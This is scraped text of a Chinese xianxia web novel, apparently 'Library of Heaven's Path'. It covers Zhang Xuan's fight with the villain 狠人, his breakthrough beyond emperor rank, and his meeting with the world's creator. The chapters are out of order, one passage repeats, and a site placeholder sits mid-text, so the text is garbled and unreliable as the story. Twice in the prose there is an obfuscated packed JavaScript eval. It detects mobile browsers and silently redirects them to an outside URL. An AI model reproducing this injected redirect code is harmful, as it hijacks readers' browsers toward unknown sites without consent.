沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136098|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百五十七章 什么是都督? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136099|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 